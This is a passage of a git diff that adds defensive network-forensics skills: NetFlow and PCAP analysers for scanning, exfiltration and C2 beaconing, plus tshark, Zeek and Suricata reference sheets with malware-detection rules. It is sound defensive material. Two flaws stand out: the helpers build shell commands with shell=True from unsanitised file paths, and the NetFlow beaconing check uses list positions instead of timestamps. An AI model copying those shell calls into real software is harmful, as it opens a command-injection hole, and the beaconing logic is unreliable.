= acquire_memory_lime(args.acquire) + report["findings"]["acquisition"] = result + print(f"[+] Memory acquisition: {result['status']}") + return + + if not args.image: + print("[-] --image required for analysis actions") + return + + if args.action in ("pslist", "full_analysis"): + procs = list_processes(args.image) + report["findings"]["processes"] = procs + print(f"[+] Processes: {len(procs)}") + + if args.action in ("bash", "full_analysis"): + history = extract_bash_history(args.image) + report["findings"]["bash_history"] = history + suspicious = detect_suspicious_commands(history) + report["findings"]["suspicious_commands"] = suspicious + print(f"[+] Bash commands: {len(history)}, Suspicious: {len(suspicious)}") + + if args.action in ("network", "full_analysis"): + conns = list_network_connections(args.image) + report["findings"]["connections"] = conns + print(f"[+] Network connections: {len(conns)}") + + if args.action in ("modules", "full_analysis"): + modules = list_kernel_modules(args.image) + report["findings"]["kernel_modules"] = modules + print(f"[+] Kernel modules: {len(modules)}") + + if args.action in ("hidden", "full_analysis"): + hidden = detect_hidden_processes(args.image) + report["findings"]["hidden_processes"] = hidden + print(f"[+] Hidden processes: {len(hidden)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-mft-for-deleted-file-recovery/LICENSE b/skills/analyzing-mft-for-deleted-file-recovery/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-mft-for-deleted-file-recovery/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-network-covert-channels-in-malware/LICENSE b/skills/analyzing-network-covert-channels-in-malware/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-network-covert-channels-in-malware/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-network-flow-data-with-netflow/LICENSE b/skills/analyzing-network-flow-data-with-netflow/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-network-flow-data-with-netflow/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-network-flow-data-with-netflow/SKILL.md b/skills/analyzing-network-flow-data-with-netflow/SKILL.md new file mode 100644 index 00000000..9fd2b29e --- /dev/null +++ b/skills/analyzing-network-flow-data-with-netflow/SKILL.md @@ -0,0 +1,34 @@ +--- +name: analyzing-network-flow-data-with-netflow +description: >- + Parse NetFlow v9 and IPFIX records to detect volumetric anomalies, port scanning, data + exfiltration, and C2 beaconing patterns. Uses the Python netflow library to decode flow + records, builds traffic baselines, and applies statistical analysis to identify flows + with abnormal byte counts, connection durations, and periodic timing patterns. +--- + +## Instructions + +1. Install dependencies: `pip install netflow` +2. Collect NetFlow/IPFIX data from routers or use the built-in collector: `python -m netflow.collector -p 9995` +3. Parse captured flow data using `netflow.parse_packet()`. +4. Analyze flows for: + - Port scanning: single source to many destinations on same port + - Data exfiltration: high byte-count outbound flows to unusual destinations + - C2 beaconing: periodic connections with consistent intervals + - Volumetric anomalies: traffic spikes beyond baseline thresholds +5. Generate a prioritized findings report. + +```bash +python scripts/agent.py --flow-file captured_flows.json --output netflow_report.json +``` + +## Examples + +### Parse NetFlow v9 Packet +```python +import netflow +data, _ = netflow.parse_packet(raw_bytes, templates={}) +for flow in data.flows: + print(flow.IPV4_SRC_ADDR, flow.IPV4_DST_ADDR, flow.IN_BYTES) +``` diff --git a/skills/analyzing-network-flow-data-with-netflow/references/api-reference.md b/skills/analyzing-network-flow-data-with-netflow/references/api-reference.md new file mode 100644 index 00000000..0c17d5f5 --- /dev/null +++ b/skills/analyzing-network-flow-data-with-netflow/references/api-reference.md @@ -0,0 +1,48 @@ +# API Reference: NetFlow v9/IPFIX Analysis + +## Python netflow Library +```python +import netflow +# Parse a raw NetFlow packet +packet, templates = netflow.parse_packet(raw_bytes, templates={}) +# templates must persist between calls for v9/IPFIX +for flow in packet.flows: + flow.IPV4_SRC_ADDR # Source IP + flow.IPV4_DST_ADDR # Destination IP + flow.L4_SRC_PORT # Source port + flow.L4_DST_PORT # Destination port + flow.PROTOCOL # IP protocol (6=TCP, 17=UDP) + flow.IN_BYTES # Bytes transferred + flow.IN_PKTS # Packet count + flow.TCP_FLAGS # TCP flags bitmask + flow.FIRST_SWITCHED # Flow start time + flow.LAST_SWITCHED # Flow end time +``` + +## CLI Tools +```bash +python -m netflow.collector -p 9995 -D /tmp/flows # Collector +python -m netflow.analyzer -f /tmp/flows/*.json # Analyzer +``` + +## NetFlow v9 Field Types +| Field | ID | Description | +|-------|-----|-------------| +| IN_BYTES | 1 | Input bytes | +| IN_PKTS | 2 | Input packets | +| PROTOCOL | 4 | IP protocol | +| L4_SRC_PORT | 7 | Source port | +| IPV4_SRC_ADDR | 8 | Source IPv4 | +| L4_DST_PORT | 11 | Destination port | +| IPV4_DST_ADDR | 12 | Destination IPv4 | +| TCP_FLAGS | 6 | TCP flags | +| FIRST_SWITCHED | 22 | Flow start sysUpTime | +| LAST_SWITCHED | 21 | Flow end sysUpTime | + +## Detection Algorithms +| Pattern | Method | Threshold | +|---------|--------|-----------| +| Port scan | Unique dst_ports per src-dst pair | >20 ports | +| Network sweep | Unique dst_ips per source | >50 hosts | +| Exfiltration | Total bytes per src-dst pair | >100MB | +| C2 beaconing | Interval jitter ratio | <0.15 | diff --git a/skills/analyzing-network-flow-data-with-netflow/scripts/agent.py b/skills/analyzing-network-flow-data-with-netflow/scripts/agent.py new file mode 100644 index 00000000..e19846f8 --- /dev/null +++ b/skills/analyzing-network-flow-data-with-netflow/scripts/agent.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python3 +"""NetFlow Analysis Agent - Parses NetFlow v9/IPFIX for anomalies, port scans, and exfiltration.""" + +import json +import math +import logging +import argparse +from collections import defaultdict +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def load_flow_data(flow_file): + """Load preprocessed flow records from JSON file.""" + with open(flow_file, "r") as f: + flows = json.load(f) + logger.info("Loaded %d flow records from %s", len(flows), flow_file) + return flows + + +def parse_netflow_capture(pcap_file): + """Parse NetFlow packets from a PCAP capture using the netflow library.""" + import netflow + templates = {} + flows = [] + with open(pcap_file, "rb") as f: + while True: + try: + data = f.read(65535) + if not data: + break + packet, templates = netflow.parse_packet(data, templates) + for flow in packet.flows: + flows.append({ + "src_ip": str(getattr(flow, "IPV4_SRC_ADDR", "")), + "dst_ip": str(getattr(flow, "IPV4_DST_ADDR", "")), + "src_port": getattr(flow, "L4_SRC_PORT", 0), + "dst_port": getattr(flow, "L4_DST_PORT", 0), + "protocol": getattr(flow, "PROTOCOL", 0), + "bytes_in": getattr(flow, "IN_BYTES", 0), + "bytes_out": getattr(flow, "OUT_BYTES", 0), + "packets": getattr(flow, "IN_PKTS", 0), + "duration": getattr(flow, "LAST_SWITCHED", 0) - getattr(flow, "FIRST_SWITCHED", 0), + "tcp_flags": getattr(flow, "TCP_FLAGS", 0), + }) + except Exception: + break + logger.info("Parsed %d flows from PCAP", len(flows)) + return flows + + +def detect_port_scanning(flows, threshold=20): + """Detect port scanning: one source hitting many ports on same or multiple destinations.""" + src_dst_ports = defaultdict(lambda: defaultdict(set)) + for flow in flows: + src_dst_ports[flow["src_ip"]][flow["dst_ip"]].add(flow["dst_port"]) + scanners = [] + for src, dst_map in src_dst_ports.items(): + for dst, ports in dst_map.items(): + if len(ports) >= threshold: + scanners.append({ + "source": src, + "target": dst, + "unique_ports": len(ports), + "ports_sample": sorted(list(ports))[:20], + "severity": "high", + "indicator": "Port scan detected", + }) + total_targets = sum(len(d) for d in src_dst_ports.values()) + for src, dst_map in src_dst_ports.items(): + if len(dst_map) >= 50: + total_ports = sum(len(p) for p in dst_map.values()) + scanners.append({ + "source": src, + "unique_targets": len(dst_map), + "total_ports_probed": total_ports, + "severity": "critical", + "indicator": "Network sweep detected", + }) + logger.info("Detected %d scanning activities", len(scanners)) + return scanners + + +def detect_data_exfiltration(flows, byte_threshold=100_000_000): + """Detect potential data exfiltration via high-volume outbound flows.""" + src_dst_bytes = defaultdict(int) + for flow in flows: + key = (flow["src_ip"], flow["dst_ip"]) + src_dst_bytes[key] += flow.get("bytes_in", 0) + flow.get("bytes_out", 0) + exfil_candidates = [] + for (src, dst), total_bytes in src_dst_bytes.items(): + if total_bytes >= byte_threshold: + exfil_candidates.append({ + "source": src, + "destination": dst, + "total_bytes": total_bytes, + "total_mb": round(total_bytes / 1_000_000, 1), + "severity": "critical", + "indicator": "High-volume data transfer (potential exfiltration)", + }) + exfil_candidates.sort(key=lambda x: x["total_bytes"], reverse=True) + logger.info("Detected %d high-volume transfer pairs", len(exfil_candidates)) + return exfil_candidates + + +def detect_beaconing(flows, min_connections=10, jitter_threshold=0.15): + """Detect C2 beaconing patterns via periodic connection analysis.""" + pair_timestamps = defaultdict(list) + for i, flow in enumerate(flows): + key = (flow["src_ip"], flow["dst_ip"], flow["dst_port"]) + pair_timestamps[key].append(i) + beacons = [] + for (src, dst, port), indices in pair_timestamps.items(): + if len(indices) < min_connections: + continue + intervals = [indices[i+1] - indices[i] for i in range(len(indices)-1)] + if not intervals: + continue + mean_interval = sum(intervals) / len(intervals) + if mean_interval == 0: + continue + variance = sum((x - mean_interval)**2 for x in intervals) / len(intervals) + std_dev = math.sqrt(variance) + jitter = std_dev / mean_interval + if jitter < jitter_threshold: + beacons.append({ + "source": src, + "destination": dst, + "port": port, + "connection_count": len(indices), + "mean_interval": round(mean_interval, 2), + "jitter_ratio": round(jitter, 3), + "severity": "critical", + "indicator": "Periodic beaconing (potential C2)", + }) + logger.info("Detected %d beaconing patterns", len(beacons)) + return beacons + + +def build_traffic_baseline(flows): + """Build statistical baseline of network traffic.""" + protocol_bytes = defaultdict(int) + port_counts = defaultdict(int) + total_bytes = 0 + for flow in flows: + protocol_bytes[flow.get("protocol", 0)] += flow.get("bytes_in", 0) + port_counts[flow["dst_port"]] += 1 + total_bytes += flow.get("bytes_in", 0) + flow.get("bytes_out", 0) + return { + "total_flows": len(flows), + "total_bytes": total_bytes, + "protocol_distribution": dict(protocol_bytes), + "top_ports": dict(sorted(port_counts.items(), key=lambda x: x[1], reverse=True)[:20]), + } + + +def generate_report(flows, scanners, exfil, beacons, baseline): + """Generate NetFlow analysis report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "total_flows": len(flows), + "baseline": baseline, + "port_scans": scanners, + "exfiltration_candidates": exfil[:20], + "beaconing_patterns": beacons, + "summary": { + "scan_alerts": len(scanners), + "exfil_alerts": len(exfil), + "beacon_alerts": len(beacons), + }, + } + total = len(scanners) + len(exfil) + len(beacons) + print(f"NETFLOW REPORT: {len(flows)} flows, {total} alerts") + return report + + +def main(): + parser = argparse.ArgumentParser(description="NetFlow Analysis Agent") + parser.add_argument("--flow-file", required=True, help="JSON flow data file") + parser.add_argument("--byte-threshold", type=int, default=100_000_000) + parser.add_argument("--scan-threshold", type=int, default=20) + parser.add_argument("--output", default="netflow_report.json") + args = parser.parse_args() + + flows = load_flow_data(args.flow_file) + baseline = build_traffic_baseline(flows) + scanners = detect_port_scanning(flows, args.scan_threshold) + exfil = detect_data_exfiltration(flows, args.byte_threshold) + beacons = detect_beaconing(flows) + + report = generate_report(flows, scanners, exfil, beacons, baseline) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-network-traffic-for-incidents/LICENSE b/skills/analyzing-network-traffic-for-incidents/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-network-traffic-for-incidents/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-network-traffic-for-incidents/references/api-reference.md b/skills/analyzing-network-traffic-for-incidents/references/api-reference.md new file mode 100644 index 00000000..7c602784 --- /dev/null +++ b/skills/analyzing-network-traffic-for-incidents/references/api-reference.md @@ -0,0 +1,108 @@ +# API Reference: Network Traffic Incident Analysis + +## tshark - CLI Wireshark + +### Basic Syntax +```bash +tshark -r [options] +``` + +### Display Filters +```bash +tshark -r capture.pcap -Y "ip.addr==10.0.0.5" +tshark -r capture.pcap -Y "tcp.port==445" # SMB +tshark -r capture.pcap -Y "http.request" # HTTP requests +tshark -r capture.pcap -Y "dns.qr==0" # DNS queries +tshark -r capture.pcap -Y "tcp.flags.syn==1 && tcp.flags.ack==0" # SYN only +``` + +### Field Extraction +```bash +tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e tcp.dstport \ + -Y "tcp.flags.syn==1" +``` + +### Statistics +```bash +tshark -r capture.pcap -q -z conv,ip # IP conversations +tshark -r capture.pcap -q -z endpoints,ip # IP endpoints +tshark -r capture.pcap -q -z io,stat,60 # I/O stats per minute +tshark -r capture.pcap -q -z http,tree # HTTP request tree +tshark -r capture.pcap -q -z dns,tree # DNS query tree +``` + +### Object Export +```bash +tshark -r capture.pcap --export-objects "http,/tmp/http_objects" +tshark -r capture.pcap --export-objects "smb,/tmp/smb_objects" +``` + +## Zeek - Network Security Monitor + +### PCAP Analysis +```bash +zeek -r capture.pcap +zeek -r capture.pcap local # With local policy scripts +``` + +### Output Logs +| Log File | Content | +|----------|---------| +| `conn.log` | TCP/UDP/ICMP connections | +| `dns.log` | DNS queries and responses | +| `http.log` | HTTP requests | +| `ssl.log` | TLS/SSL handshakes | +| `files.log` | File transfers | +| `notice.log` | Security notices | + +### Zeek-Cut Field Extraction +```bash +cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service +cat dns.log | zeek-cut query qtype_name answers +cat http.log | zeek-cut host uri method user_agent +``` + +## Suricata - IDS/IPS + +### PCAP Analysis +```bash +suricata -r capture.pcap -l /tmp/output -k none +suricata -r capture.pcap -S custom.rules -l /tmp/output +``` + +### Output Files +| File | Content | +|------|---------| +| `fast.log` | One-line alert format | +| `eve.json` | JSON event log (detailed) | +| `stats.log` | Engine performance statistics | + +## Lateral Movement Ports + +| Port | Service | Significance | +|------|---------|-------------| +| 445 | SMB | File shares, PsExec, WMI | +| 3389 | RDP | Remote Desktop | +| 5985/5986 | WinRM | PowerShell Remoting | +| 22 | SSH | Secure Shell | +| 135 | RPC | DCOM, WMI | +| 139 | NetBIOS | Legacy file sharing | + +## Scapy - Packet Analysis (Python) + +### PCAP Reading +```python +from scapy.all import rdpcap, IP, TCP +packets = rdpcap("capture.pcap") +for pkt in packets: + if IP in pkt and TCP in pkt: + print(pkt[IP].src, pkt[TCP].dport) +``` + +## NetworkMiner - Artifact Extraction + +### Syntax +```bash +NetworkMiner --inputfile capture.pcap --outputdir /tmp/artifacts +``` +Extracts: files, images, credentials, sessions, DNS, parameters diff --git a/skills/analyzing-network-traffic-for-incidents/scripts/agent.py b/skills/analyzing-network-traffic-for-incidents/scripts/agent.py new file mode 100644 index 00000000..4de89641 --- /dev/null +++ b/skills/analyzing-network-traffic-for-incidents/scripts/agent.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python3 +"""Network traffic incident analysis agent using scapy and tshark for PCAP investigation.""" + +import subprocess +import os +import sys +import json +import statistics +from collections import defaultdict, Counter + +try: + from scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR, Raw, ARP + HAS_SCAPY = True +except ImportError: + HAS_SCAPY = False + + +def run_tshark(pcap_path, display_filter, fields): + """Run tshark with a display filter and extract specific fields.""" + field_args = " ".join(f"-e {f}" for f in fields) + cmd = f'tshark -r {pcap_path} -Y "{display_filter}" -T fields {field_args} -E separator="|"' + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=120) + rows = [] + if result.returncode == 0: + for line in result.stdout.strip().splitlines(): + parts = line.split("|") + if len(parts) == len(fields): + rows.append(dict(zip(fields, parts))) + return rows + + +def get_pcap_summary(pcap_path): + """Get high-level PCAP statistics.""" + cmd = f"tshark -r {pcap_path} -q -z conv,ip" + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60) + return result.stdout if result.returncode == 0 else "" + + +def detect_lateral_movement(pcap_path): + """Detect potential lateral movement patterns (SMB, RDP, WinRM, SSH).""" + lateral_ports = {"445": "SMB", "3389": "RDP", "5985": "WinRM", "5986": "WinRM-S", + "22": "SSH", "135": "RPC", "139": "NetBIOS"} + connections = run_tshark(pcap_path, "tcp.flags.syn==1 && tcp.flags.ack==0", + ["ip.src", "ip.dst", "tcp.dstport"]) + lateral = [] + for conn in connections: + port = conn.get("tcp.dstport", "") + if port in lateral_ports: + lateral.append({ + "src": conn["ip.src"], + "dst": conn["ip.dst"], + "port": port, + "service": lateral_ports[port], + }) + return lateral + + +def detect_data_exfiltration(pcap_path, threshold_mb=10): + """Detect potential data exfiltration based on outbound data volume.""" + cmd = f'tshark -r {pcap_path} -q -z conv,ip' + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60) + suspects = [] + if result.returncode == 0: + for line in result.stdout.splitlines(): + parts = line.split() + if len(parts) >= 8 and "<->" in line: + try: + ip_a = parts[0] + ip_b = parts[2] + bytes_a_to_b = int(parts[4]) if parts[4].isdigit() else 0 + bytes_b_to_a = int(parts[7]) if len(parts) > 7 and parts[7].isdigit() else 0 + total_bytes = bytes_a_to_b + bytes_b_to_a + if total_bytes > threshold_mb * 1024 * 1024: + suspects.append({ + "ip_a": ip_a, + "ip_b": ip_b, + "bytes_a_to_b": bytes_a_to_b, + "bytes_b_to_a": bytes_b_to_a, + "total_mb": round(total_bytes / (1024 * 1024), 2), + }) + except (ValueError, IndexError): + continue + return suspects + + +def detect_beaconing(pcap_path, min_conns=10): + """Detect periodic beaconing patterns from TCP connections.""" + if not HAS_SCAPY: + return [] + packets = rdpcap(pcap_path) + conn_times = defaultdict(list) + for pkt in packets: + if IP in pkt and TCP in pkt and (pkt[TCP].flags & 0x02): + key = f"{pkt[IP].src}->{pkt[IP].dst}:{pkt[TCP].dport}" + conn_times[key].append(float(pkt.time)) + beacons = [] + for key, times in conn_times.items(): + if len(times) < min_conns: + continue + intervals = [times[i+1] - times[i] for i in range(len(times)-1)] + avg = statistics.mean(intervals) + std = statistics.stdev(intervals) if len(intervals) > 1 else 0 + jitter = (std / avg * 100) if avg > 0 else 0 + if 5 < avg < 7200 and jitter < 30: + beacons.append({ + "flow": key, + "connections": len(times), + "avg_interval": round(avg, 1), + "jitter_pct": round(jitter, 1), + }) + return beacons + + +def extract_dns_queries(pcap_path): + """Extract DNS queries and identify suspicious patterns.""" + queries = run_tshark(pcap_path, "dns.qr==0", + ["ip.src", "dns.qry.name", "dns.qry.type"]) + return queries + + +def detect_ids_alerts(pcap_path): + """Run Suricata on the PCAP and extract alerts.""" + cmd = f"suricata -r {pcap_path} -l /tmp/suricata_output -k none 2>/dev/null" + subprocess.run(cmd, shell=True, timeout=120) + alerts = [] + alert_file = "/tmp/suricata_output/fast.log" + if os.path.exists(alert_file): + with open(alert_file, "r") as f: + for line in f: + alerts.append(line.strip()) + return alerts + + +def extract_http_objects(pcap_path, output_dir): + """Extract HTTP objects (files) from the PCAP.""" + os.makedirs(output_dir, exist_ok=True) + cmd = f'tshark -r {pcap_path} --export-objects "http,{output_dir}"' + subprocess.run(cmd, shell=True, timeout=60) + exported = [] + if os.path.exists(output_dir): + for f in os.listdir(output_dir): + filepath = os.path.join(output_dir, f) + exported.append({"filename": f, "size": os.path.getsize(filepath)}) + return exported + + +def generate_incident_report(pcap_path, beacons, lateral, exfil, dns_queries): + """Generate a network incident analysis report.""" + report = { + "pcap": pcap_path, + "pcap_size_mb": round(os.path.getsize(pcap_path) / (1024*1024), 1), + "findings": { + "beacons_detected": len(beacons), + "lateral_movement_flows": len(lateral), + "exfiltration_suspects": len(exfil), + "dns_queries": len(dns_queries), + }, + "beacons": beacons, + "lateral_movement": lateral[:10], + "exfiltration": exfil, + } + return report + + +if __name__ == "__main__": + print("=" * 60) + print("Network Traffic Incident Analysis Agent") + print("Beaconing, lateral movement, exfiltration detection") + print("=" * 60) + + pcap = sys.argv[1] if len(sys.argv) > 1 else None + + if pcap and os.path.exists(pcap): + print(f"\n[*] Analyzing: {pcap}") + print(f"[*] Size: {os.path.getsize(pcap)/(1024*1024):.1f} MB") + + print("\n--- Beacon Detection ---") + beacons = detect_beaconing(pcap) + for b in beacons: + print(f" [!] {b['flow']}: interval={b['avg_interval']}s " + f"jitter={b['jitter_pct']}% ({b['connections']} conns)") + + print("\n--- Lateral Movement Detection ---") + lateral = detect_lateral_movement(pcap) + for l in lateral[:10]: + print(f" [!] {l['src']} -> {l['dst']}:{l['port']} ({l['service']})") + + print("\n--- Data Exfiltration Detection ---") + exfil = detect_data_exfiltration(pcap, threshold_mb=5) + for e in exfil: + print(f" [!] {e['ip_a']} <-> {e['ip_b']}: {e['total_mb']} MB") + + print("\n--- DNS Queries ---") + dns = extract_dns_queries(pcap) + print(f" Total queries: {len(dns)}") + + report = generate_incident_report(pcap, beacons, lateral, exfil, dns) + print(f"\n[*] Report summary: {json.dumps(report['findings'], indent=2)}") + else: + print(f"\n[DEMO] Usage: python agent.py ") diff --git a/skills/analyzing-network-traffic-of-malware/LICENSE b/skills/analyzing-network-traffic-of-malware/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-network-traffic-of-malware/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-network-traffic-of-malware/references/api-reference.md b/skills/analyzing-network-traffic-of-malware/references/api-reference.md new file mode 100644 index 00000000..cd84f440 --- /dev/null +++ b/skills/analyzing-network-traffic-of-malware/references/api-reference.md @@ -0,0 +1,128 @@ +# API Reference: Malware Network Traffic Analysis + +## dpkt - Python Packet Parsing + +### PCAP Reading +```python +import dpkt +with open("malware.pcap", "rb") as f: + pcap = dpkt.pcap.Reader(f) + for ts, buf in pcap: + eth = dpkt.ethernet.Ethernet(buf) + ip = eth.data + tcp = ip.data +``` + +### HTTP Parsing +```python +http_req = dpkt.http.Request(tcp.data) +http_req.method # GET, POST +http_req.uri # Request URI +http_req.headers # Header dict +http_req.body # POST body + +http_resp = dpkt.http.Response(tcp.data) +http_resp.status # Status code +http_resp.body # Response body +``` + +### IP Address Conversion +```python +dpkt.utils.inet_to_str(ip.src) # bytes -> "1.2.3.4" +dpkt.utils.inet_aton("1.2.3.4") # "1.2.3.4" -> bytes +``` + +## Wireshark Display Filters for Malware + +### C2 Detection +``` +http.request.method == "POST" && http.content_length > 0 +tls.handshake.type == 1 # TLS Client Hello +tcp.flags.syn == 1 && tcp.flags.ack == 0 # New connections +dns.qry.type == 16 # TXT records +``` + +### Payload Analysis +``` +tcp.payload contains "MZ" # PE downloads +http.response.code == 200 && http.content_type contains "octet" +frame.len > 1400 # Large packets +``` + +## tshark - Field Extraction + +### HTTP Requests +```bash +tshark -r malware.pcap -Y "http.request" -T fields \ + -e http.request.method -e http.host -e http.request.uri \ + -e http.user_agent -e http.content_length +``` + +### TLS/JA3 Fingerprinting +```bash +tshark -r malware.pcap -Y "tls.handshake.type==1" -T fields \ + -e ip.src -e ip.dst -e tls.handshake.ja3 +``` + +### DNS Queries +```bash +tshark -r malware.pcap -Y "dns.qr==0" -T fields \ + -e ip.src -e dns.qry.name -e dns.qry.type +``` + +### Stream Follow +```bash +tshark -r malware.pcap -z follow,tcp,ascii,0 +tshark -r malware.pcap -z follow,http,ascii,0 +``` + +## Suricata Rule Syntax + +### HTTP Rules +``` +alert http $HOME_NET any -> $EXTERNAL_NET any ( + msg:"MALWARE C2 Beacon"; + flow:established,to_server; + http.method; content:"POST"; + http.uri; content:"/gate.php"; + sid:9000001; rev:1; +) +``` + +### DNS Rules +``` +alert dns $HOME_NET any -> any any ( + msg:"MALWARE DNS Tunneling"; + dns.query; pcre:"/^[a-z0-9]{20,}\./"; + threshold:type threshold, track by_src, count 10, seconds 60; + sid:9000002; rev:1; +) +``` + +### TLS Rules +``` +alert tls $HOME_NET any -> $EXTERNAL_NET any ( + msg:"MALWARE JA3 Match"; + ja3.hash; content:"a0e9f5d64349fb13191bc781f81f42e1"; + sid:9000003; rev:1; +) +``` + +## RITA - Beacon Analysis + +### Syntax +```bash +rita import zeek_logs dataset_name +rita analyze dataset_name +rita show-beacons dataset_name +rita show-long-connections dataset_name +rita show-dns-fqdn-lengths dataset_name +``` + +## NetworkMiner + +### CLI Syntax +```bash +NetworkMiner --inputfile malware.pcap --outputdir /tmp/extracted +``` +Extracts files, sessions, credentials, DNS from PCAP diff --git a/skills/analyzing-network-traffic-of-malware/scripts/agent.py b/skills/analyzing-network-traffic-of-malware/scripts/agent.py new file mode 100644 index 00000000..c329b388 --- /dev/null +++ b/skills/analyzing-network-traffic-of-malware/scripts/agent.py @@ -0,0 